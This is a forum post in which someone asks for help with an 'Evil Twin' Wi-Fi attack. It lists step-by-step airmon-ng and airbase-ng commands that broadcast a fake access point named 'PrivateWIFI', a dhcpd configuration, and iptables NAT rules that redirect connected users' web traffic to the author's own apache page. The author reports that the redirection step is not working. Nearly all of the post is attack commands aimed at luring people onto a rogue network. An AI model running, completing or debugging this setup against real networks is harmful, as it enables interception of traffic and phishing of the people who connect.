Hey guys. I've been looking into the Evil Twin method and i found this steps :
1 - Creating AP
airmon-ng start wlan0
airbase-ng -e PrivateWIFI -c 9 -v mon0
2 - at0 Configuration
ifconfig at0 up
ifconfig at0 192.168.1.20 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
3 - Run DHCP
echo > '/var/lib/dhcp/dhcpd.leases'
/etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
dhcpd.conf file
////////////////////////////////////////////////////////
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.1;
option domain-name-servers 8.8.8.8;
range 192.168.1.2 192.168.1.250;
}
///////////////////////////////////////////////////////
and then I started my apache2 server
( Until here there is no problem )
Status ( i can open my web server 192.168.1.20 from my phone and see the webpage that i've made )
++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++The Problem+++++++++++++++++++
But the problem is that when i add iptables commands nothing is happen :
iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
////////////////////////////////////////////////////////////////////////
iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
/////////////////////////////////////////////////////////////////////
The both of them not working
++++++++++++++++++++++++++++++++++++++++++++
i wish someone could help me